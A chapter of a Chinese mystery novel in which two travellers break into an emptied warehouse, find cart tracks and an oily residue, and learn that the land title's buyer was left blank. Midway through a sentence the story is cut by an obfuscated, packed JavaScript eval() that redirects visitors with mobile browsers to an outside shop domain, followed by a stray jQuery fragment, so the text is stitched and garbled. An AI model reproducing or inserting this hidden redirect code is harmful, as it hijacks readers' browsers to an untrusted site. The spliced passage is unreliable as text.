第二日天明,持盈醒来时听见街上有脚步声往来,比昨日更密了一些。她推开窗子往外看了一眼,斜对面的杏林堂门口已经排起了长队,比昨日更长。
队伍中有人站着,有人蹲着,有人靠在墙根下,面色都不太好。一个老妇人抱着一个襁褓中的婴孩坐在石阶上,婴孩在哭,声音尖细,穿透了清晨的寒意。
持盈看了一会儿,将窗子合上,转身下了楼。
李慕仙已经坐在客栈大堂里了。面前搁着一碗粥,粥面已经凝了一层薄膜,显然已经放了一会儿了。他没有在喝粥,偏着头望着街对面的杏林堂,不知在想什么。
持盈在他对面坐了下来,给自己倒了一碗茶。李慕仙听见声响,收回目光来看了她一眼,端起自己那碗已经凉透了的粥,低头喝了一口,又将碗放下了。
“沈大夫呢?”李慕仙问。
“在府衙。他天亮前来过一趟,说要去查那间空仓库的地契,看看那间仓库究竟落在谁的名下。”
“我想去那间仓库看看。”
城西那间仓库的位置并不难找。沈蹊昨日给她们描述过方位。
从府衙出来沿主街往西走三条巷子,在第三条巷口右拐,尽头处一座灰砖砌的院子,院门是铁皮包的木门,门口有一棵枯死的槐树。
两人依着走到底,果然看见一座灰砖院子。
院门是铁皮包木的,门环上挂着一把锁,铜色还亮着,没有被风雨侵蚀的痕迹。
持盈抬头看了一眼围墙的高度。
“你打算翻墙?”
李慕仙的声音从身后传来。
“你有钥匙?”
墙不高,大约一丈出头,墙面上爬满了干枯的藤蔓,藤蔓的须根深深嵌进砖缝里。
她走到墙角下,伸手拽了一把那枯藤便翻上了墙头,蹲在墙头上回头看了一眼还站在下面的李慕仙。
李慕仙的表情有些一言难尽,翻墙这种事他在家没少干,只是有些没想到持盈也会这样。
大抵是她看起来应该是端端正正的。
他也将枯藤拉了一把,跟着翻上了墙头,动作干净利落,不比她慢多少。
他反倒有些别扭了,“这会不会不太好。”
“不是你要来看。”持盈坦然着,丝毫没有闯入他人屋宅的感觉。
李慕仙哼哼两声不说话了。
院子里的地面是夯土的,扫得很干净,几乎看不见落叶和尘土。仓库本身是一座砖木结构的单层建筑,大约三间屋舍大小,门虚掩着,露出一道窄窄的黑缝。
持盈推开仓库的门。
门轴发出一声干涩的吱呀声,日光从她身后照进去,在仓库的地面上投下一道明晃晃的光楔。
光楔照亮了空气中的浮尘,也照亮了地面上一道道交错的车辙印。
正如沈蹊说的,货架还在,但上面的东西已经被搬空了。持盈蹲下身来,指尖轻轻触碰地面。
几道新鲜的车辙印,交错纵横。李慕仙也蹲了下来,凑近了看。他的目光落在其中一道较深的辙印上,伸出手去比了一下宽度。
“辙印的间距很窄,大约是独轮手推车留下的。”
“从辙印的深浅来看,装的货物不重,但数量不少,因为推了很多趟。”
持盈没有接话,沿着辙印的方向慢慢往前走。辙印从仓库中央延伸至门口,又从门口折返回来,来来回回地交叠在一起。
她走到仓库最里侧的墙角时,忽然停住了。
墙角的地面上,有一小块颜色与周围不太一样的地方。她蹲下身来,用指腹摸了一下那一小片地面。
颜色深于四周,隐约散发出某种气味,极淡。
她低下头去,将鼻尖凑近了些。
李慕仙从她身后走过来,在她旁边蹲下:“什么味道?”
“我不擅药理,说不来,只觉得很奇怪。”
持盈收回手来,指尖上沾着一层极薄的深色痕迹,在日光下泛着一层若有若无的油光。
李慕仙也用指腹也沾了一点那层薄薄的痕迹,放在鼻端闻了闻,眉头微微皱了一下,但什么也没有说。
他从怀里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599114|202867||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
取出一块干净的布来,将那一点痕迹擦了擦,收进怀中。
从城西仓库出来时,日头已经升高了。
两个人沿着原路往回走,一路上没有说什么话。
走到客栈门口时,持盈脚步停住了。她看见昨日那个校尉正站在悦来客栈门口。
那人中等身量,面色沉沉的,看见持盈和李慕仙从街口走过来,目光在两人身上扫了一圈,直接朝他们走了过来。
“玄极观的小道长,沈大夫在府衙等你们,查到了一些新线索,让你们即刻过去一趟。”
持盈与李慕仙交换了一个眼神,跟着那校尉快步穿过街道,往府衙方向走去。
沈蹊站在案前,抬起头来看见他们走进来,没有说话,直接招了招手,示意过去看。
持盈走到案前,低头看了一眼那张地图。地图画得很简略。唯一被人用墨笔圈出来的地方,在城西偏南的位置,离城墙不远,靠近西门。
“昨夜我查了那间仓库的地契。仓库那块地皮,在五年前被一个云州本地的商人买了下来。我找到那个商人的家里去了——”
他顿了一下,“那个商人三年前就已经不在云州了。他的邻居说,他把产业盘给了别人,举家搬走了,搬去哪里没有人知道。”
“那仓库的地契是谁经手过户的?”
“这才是最要紧的地方。”沈蹊将另一张纸从案上抽出来,递到持盈面前,“地契过户的记录还在,但过户登记的名字——是空的。记录上没有写买方是谁。”
李慕仙站在一旁,一直没有说话。听到这里,他忽然开口问了一句:“府衙的地契过户记录,能空着名字就办成?”
沈蹊偏过头来看了他一眼:“这正是最不合常理的地方。地契过户,须买卖双方亲自到场,签字画押,官府存档。”
“能在这上头动手脚的,要么是府衙内部有人做了手脚,要么是有人拿了更高一级的手令压下来的。”
他又沉默了片刻:“我已经让人去查三年前经手那批记录的书吏是谁了,大约傍晚能有消息。”